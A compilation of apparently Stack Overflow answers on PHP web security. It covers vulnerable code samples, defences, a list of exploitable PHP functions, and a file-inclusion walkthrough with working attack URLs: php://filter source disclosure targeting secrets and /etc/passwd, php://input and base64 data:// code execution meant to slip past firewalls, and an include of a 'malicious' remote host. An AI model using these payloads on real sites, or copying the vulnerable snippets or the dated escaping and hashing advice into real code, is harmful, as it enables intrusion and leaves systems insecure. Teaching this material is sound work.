Examples of Vulnerable PHP Code

Examples of vulnerable PHP code?

SQL injection is easy:

$var = $_POST['var'];
mysql_query("SELECT * FROM sometable WHERE id = $var");

This is easily solved by:

$var = mysql_real_escape_string($_POST['var']);

The other common one is XSS (cross site scripting):

$var = $_POST['var'];
echo "<div>$var</div>\n";

allows you to inject Javascript that is run from your site. There are several ways of dealing with this, for example:

$var = strip_tags($_POST['var']);

and

$var = filter_var($_POST['var'], FILTER_SANITIZE_STRING);

Is this PHP code vulnerable to SQL injection?

Yes, it's vulnerable. You're talking values directly from user input and placing it into your query.

You should look at mysql_real_escape_string, or (preferably) use MySQLi which provides parameterised queries. SQL injections are caused by user data being injected as SQL code instead of data. The only true way to secure a query is to use parameterised queries, which separate the data and query text at the protocol level.

Furthermore, your passwords are stored in plaintext. You should use a salted hash function as an absolute minimum.

You should also take a look at these awesome questions:

  • How can I prevent SQL injection in PHP?
  • Secure hash and salt for PHP passwords
  • The definitive guide to form-based website authentication

Are there any security vulnerabilities in this PHP code?

Yes, there are a few vulnerabilities in this code.

This could potentially be a problem:

define ( 'QUERY_SCRIPT', basename ($ _SERVER [ 'PHP_SELF'])); 

PHP_SELF is bad because an attacker can control this variable. For instance try printing PHP_SELF when you access the script with this url: http://localhost/index.php/test/junk/hacked . Avoid this variable as much as possible, if you do use it, make sure you sanitize it. It is very common to see XSS crop up when using this variable.

1st Vulnerability:

setcookie (COOKIE_USER, md5 ($ user), COOKIE_LIVETIME, CP_HTTP_ROOT); 
setcookie (COOKIE_PASS, $ pass, COOKIE_LIVETIME, CP_HTTP_ROOT);

This is a rather serious vulnerability. If an attacker had SQL injection in your application then they could obtain the md5 hash and the user name and login immediately without having to break the md5() hash. It is as if you are storing passwords in clear text.

This session vulnerability is two fold, it is also an "immortal session", Session id's must always be large randomly generated values that expire. If they don't expire then they are much easier to brute force.

You should NEVER re-invent the wheel, call session_start() at the very start of your application and this will automatically generate a secure session id that expires. Then use a session variable like $_SESSION['user'] to keep track if the browser is actually logged in.

2nd vulnerability:

$ pass = md5 ($ _POST [ 'pass']);

md5() is proven to be insecure because collisions have been intentionally generated. md5() should never be used for passwords. You should use a member of the sha2 family, sha-256 or sha-512 are great choices.

3rd Vulnerability:

CSRF

I don't see any CSRF protection for you authentication logic. I suspect that all requests in your application are vulnerable to CSRF.

Historical security flaws of popular PHP CMS's?

Cross-Site Request Forgery (CSRF)

Description :

The basic idea is to trick a user to a page where his browser will initiate a POST or GET request to the CMS you attack.

Imagine you know the email of a CMS powered site administrator. Email him some funny webpage with whatever you want in it. In this page, you craft a form with the data used by the admin panel of the CMS to create a new admin user. Send those data to the website admin panel, with the result in a hidden iframe of your webpage.
Voilà, you got your own administrator account made.

How to prevent it :

The usual way is to generate random short-lived (15mn to hour) nonce in all your forms. When your CMS receive a form data, it checks first if the nonce is alright. If not, the data is not used.

CMS examples :

  • CMS made simple
  • Joomla!
  • Drupal
  • ModX

More information :

On the wikipedia page and on the OWASP project.

Bad password storing

Description :

Imagine your database get hacked and published on something like wikileak. Knowing that a big part of your users use the same login and password for a lot of websites, do you want them to be easy to get ?

No. You need to mitigate the damages done if your database datas become public.

How to prevent it :

  • A first idea is to hash them. Which is a bad idea because of rainbow tables (even if the hash is not md5 but sha512 for example).
  • Second idea : add a unique random salt before hashing so the hackers has to bruteforce each password. The problem is, the hacker can compute a lot of hash fast.
  • So, the current idea is to make it slow to hash the passwords : you don't care because you don't do it often. But the attacker will cry when he gets from 1000 hash generated per ms to 1.

To ease the process, you can use the library phpass developped by some password guru.

CMS examples :

  • Joomla! : salted md5
  • ModX : md5
  • Typo3 : cleartext
  • Drupal : switched to phpass after this discussion.

More information :

The phpass page.

Cross Site Scripting (XSS)

Description

The goal of these attacks, is to make your website display some script which will be executed by your legitimate user.

You have two kind of these : persistent or not. The first one comes usually from something your user can save, the other count on parameters given by a request sent. Here is an example, not persistent :

<?php
if(!is_numeric($_GET['id'])){
die('The id ('.$_GET['id'].') is not valid');
}
?>

Now your attacker can just send links like http://www.example.com/vulnerable.php?id=<script>alert('XSS')</script>

How to prevent it

You need to filter everything you output to the client. The easiest way is to use htmlspecialchars if you don't want to let your user save any html. But, when you let them output html (either their own html or some generated from other things like bbcode) you have to be very careful. Here is an old example using the "onerror" event of the img tag : vBulletin vulnerability. Or you have the old Myspace's Samy.

CMS examples :

  • CMS made simple
  • Mura CMS
  • Drupal
  • ModX

More information :

You can check wikipedia and OWASP. You also have a lot of XSS vector on ha.ckers page.

Mail header injection

Description :

Mail headers are separated by the CRLF (\r\n) sequence. When you use some user data to send mails (like using it for the From: or To:) they can inject more headers. With this, they can send anonymous mails from your server.

How to prevent it :

Filter all the \n, \r, %0a and %0d characters in your headers.

CMS examples :

  • Jetbox CMS

More information :

Wikipedia is a good start as usual.

SQL Injection

Description :

The old classic. It happen when you form a SQL query using direct user input. If this input is crafted like needed, a user can do exactly what he want.

How to prevent it :

Simple. Don't form SQL queries with user input. Use parameterized queries.
Consider any input which is not coded by yourself as user input, be it coming from the filesystem, your own database or a webservice for example.

CMS example :

  • Drupal
  • Joomla!
  • ModX
  • Pars CMS

More information :

Wikipedia and OWASP have really good pages on the subject.

Http response splitting

Description :

Like e-mail headers, the http headers are separated by the CLRF sequence. If your application uses user input to output headers, they can use this to craft their own.

How to prevent it :

Like for emails, filter \n, \r, %0a and %0d characters from user input before using it as part of a header. You can also urlencode your headers.

CMS examples :

  • Drake CMS
  • Plone CMS
  • Wordpress

More information :

I'll let you guess a little as to where you can find a lot of infos about this kind of attack. OWASP and Wikipedia.

Session hijacking

Description :

In this one, the attacker want to use the session of another legitimate (and hopefully authenticated) user.
For this, he can either change his own session cookie to match the victim's one or he can make the victim use his (the attacker's) own session id.

How to prevent it :

Nothing can be perfect here :
- if the attacker steal the victim's cookie, you can check that the user session matches the user IP. But this can render your site useless if legitimate users use some proxy which change IP often.
- if the attacker makes the user use his own session ID, just use session_regenerate_id to change the session ID of a user when his rights change (login, logout, get in admin part of the website etc.).

CMS examples :

  • Joomla! and Drupal
  • Zen Cart

More information :

Wikipedia page on the subject.

Other

  • User DoSing : if you prevent bruteforcing of login attempt by disabling the usernames tried and not the IP the attempts come from, anyone can block all your users in 2mn. Same thing when generating new passwords : don't disable the old one until the user confirm the new one (by loging with it for example).
  • Using user input to do something on your filesystem. Filter this like if it was cancer mixed with aids. This concern the use of include and require on files which path is made in part from the user input.
  • Using eval, system, exec or anything from this kind with user input.
  • Don't put files you don't want web accessible in web accessible directory.

You have a lot of things you can read on the OWASP page.

How come a simple PHP include file be vulnerable

Well I suppose this is just a warning but in a global way, when you include .php scripts which names come from user input, you should absolutely check if the names provided are correct or not (to prevent security issues).

For example, a lot of websites use a "global" file that would include file according to requests coming from the user.

Example :

<?php

$get = $_GET['action'];
if ($get == "index") {
include "includes/index.php";
}
//...
else
{
include $get .".php";
}

Now let's imagine someone want to include some malicious script within your website. If your server allow cross-website requests, then people could specify some external script that could be dangerous for your server or the others users.

Example : ./global.php?action=http://malicious4ever.com/dirtything

Exploitable PHP functions

To build this list I used 2 sources. A Study In Scarlet and RATS. I have also added some of my own to the mix and people on this thread have helped out.

Edit: After posting this list I contacted the founder of RIPS and as of now this tools searches PHP code for the use of every function in this list.

Most of these function calls are classified as Sinks. When a tainted variable (like $_REQUEST) is passed to a sink function, then you have a vulnerability. Programs like RATS and RIPS use grep like functionality to identify all sinks in an application. This means that programmers should take extra care when using these functions, but if they where all banned then you wouldn't be able to get much done.

"With great power comes great responsibility."

--Stan Lee

Command Execution

exec           - Returns last line of commands output
passthru - Passes commands output directly to the browser
system - Passes commands output directly to the browser and returns last line
shell_exec - Returns commands output
`` (backticks) - Same as shell_exec()
popen - Opens read or write pipe to process of a command
proc_open - Similar to popen() but greater degree of control
pcntl_exec - Executes a program

PHP Code Execution

Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities.

eval()
assert() - identical to eval()
preg_replace('/.*/e',...) - /e does an eval() on the match
create_function()
include()
include_once()
require()
require_once()
$_GET['func_name']($_GET['argument']);
$func = new ReflectionFunction($_GET['func_name']); $func->invoke(); or $func->invokeArgs(array());

List of functions which accept callbacks

These functions accept a string parameter which could be used to call a function of the attacker's choice. Depending on the function the attacker may or may not have the ability to pass a parameter. In that case an Information Disclosure function like phpinfo() could be used.

Function                     => Position of callback arguments
'ob_start' => 0,
'array_diff_uassoc' => -1,
'array_diff_ukey' => -1,
'array_filter' => 1,
'array_intersect_uassoc' => -1,
'array_intersect_ukey' => -1,
'array_map' => 0,
'array_reduce' => 1,
'array_udiff_assoc' => -1,
'array_udiff_uassoc' => array(-1, -2),
'array_udiff' => -1,
'array_uintersect_assoc' => -1,
'array_uintersect_uassoc' => array(-1, -2),
'array_uintersect' => -1,
'array_walk_recursive' => 1,
'array_walk' => 1,
'assert_options' => 1,
'uasort' => 1,
'uksort' => 1,
'usort' => 1,
'preg_replace_callback' => 1,
'spl_autoload_register' => 0,
'iterator_apply' => 1,
'call_user_func' => 0,
'call_user_func_array' => 0,
'register_shutdown_function' => 0,
'register_tick_function' => 0,
'set_error_handler' => 0,
'set_exception_handler' => 0,
'session_set_save_handler' => array(0, 1, 2, 3, 4, 5),
'sqlite_create_aggregate' => array(2, 3),
'sqlite_create_function' => 2,

Information Disclosure

Most of these function calls are not sinks. But rather it maybe a vulnerability if any of the data returned is viewable to an attacker. If an attacker can see phpinfo() it is definitely a vulnerability.

phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid

Other

extract - Opens the door for register_globals attacks (see study in scarlet).
parse_str - works like extract if only one argument is given.
putenv
ini_set
mail - has CRLF injection in the 3rd parameter, opens the door for spam.
header - on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Filesystem Functions

According to RATS all filesystem functions in php are nasty. Some of these don't seem very useful to the attacker. Others are more useful than you might think. For instance if allow_url_fopen=On then a url can be used as a file path, so a call to copy($_GET['s'], $_GET['d']); can be used to upload a PHP script anywhere on the system.
Also if a site is vulnerable to a request send via GET everyone of those file system functions can be abused to channel and attack to another host through your server.

// open filesystem handler
fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct
// write to filesystem (partially in combination with reading)
chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng - 2nd parameter is a path.
imagewbmp - 2nd parameter is a path.
image2wbmp - 2nd parameter is a path.
imagejpeg - 2nd parameter is a path.
imagexbm - 2nd parameter is a path.
imagegif - 2nd parameter is a path.
imagegd - 2nd parameter is a path.
imagegd2 - 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
// read from filesystem
file_exists
file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
highlight_file
show_source
php_strip_whitespace
get_meta_tags

PHP security exploit - list content of remote PHP file?

If allow_url_include is off, you can't execute remote code. But you can find other pages, for example a content management dashboard, to upload your code as "image", then find the actual path and include it.

And, there are still ways to exploit.

Let's look inside your code. You may notice that it automatically add an extension .php at the end of path. So you should remove php in GET param. But what if the file you want to include does not have PHP extension? Then use %00 to terminate string, such as

http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00

There's a special protocol in PHP, powerful and dangerous. It's php://.
You can check out the offcial manual for detailed information, and here I'll show you some cases to make a file inclusion vulnerability become source disclosure and even remote code execution vulnerabilities.

Before your test, I suggest you use Firefox with HackBar plugin. It's a powerful penetration testing suite.

  1. Source disclosure

This feature doesn't need url inclusion allowed.

php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read. (Reference)

Then you can see the source secret.inc.php in the same directory via following request.

http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc

demo

File content will be encoded in base64, so it does support binary file.

It's powerful to get sensitive information, such as database passwords or a encryption key! If privilege is not proper configurated, it can even jump out of cage and extract data from files in outter directories, like /etc/passwd!


  1. Remote code execution

Actually you can't exploit this way, because allow_url_include is Off in this case.

But I must point it out because it's magical!

It's completly different from local include. It doesn't need to upload any file to a remote server or so. All you need is one single request.

php://input can access the raw HTTP request body, so what does include("php://input") do? Just visit http://localhost/include.php?page=php://input, with valid PHP code in request body, then you can execute any (allowed) function in remote server!

Sample Image

Don't forget the %00 to drop .php tail.

Besides, PHP supports data:// URL scheme. You can directly put code in GET param! The following test doesn't need any special tool, just a normal browser can execute an attack.

http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>

Some Web Application Firewalls may detect suspected string in URL and block evil request, they won't leave the phpinfo alone. Is there a way to encrypt? Of course. data:// URL supports at least base64 encoding...

http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

And you will get familiar phpinfo once again!

with base64 encoding

Note

The null byte trick (%00) does not work anymore for PHP >= 5.3.4: http://blog.benjaminwalters.net/?p=22139

Examples of XSS that I can use to test my page input?

You can use this firefox addon:

  • XSS Me

XSS-Me is the Exploit-Me tool used to test for reflected Cross-Site
Scripting (XSS). It does NOT currently test for stored XSS.

The
tool works by submitting your HTML forms and substituting the form
value with strings that are representative of an XSS attack. If the
resulting HTML page sets a specific JavaScript value
(document.vulnerable=true) then the tool marks the page as vulnerable
to the given XSS string. The tool does not attempting to compromise
the security of the given system. It looks for possible entry points
for an attack against the system. There is no port scanning, packet
sniffing, password hacking or firewall attacks done by the
tool.

You can think of the work done by the tool as the same as the
QA testers for the site manually entering all of these strings into
the form fields.



Related Topics



Leave a reply



Submit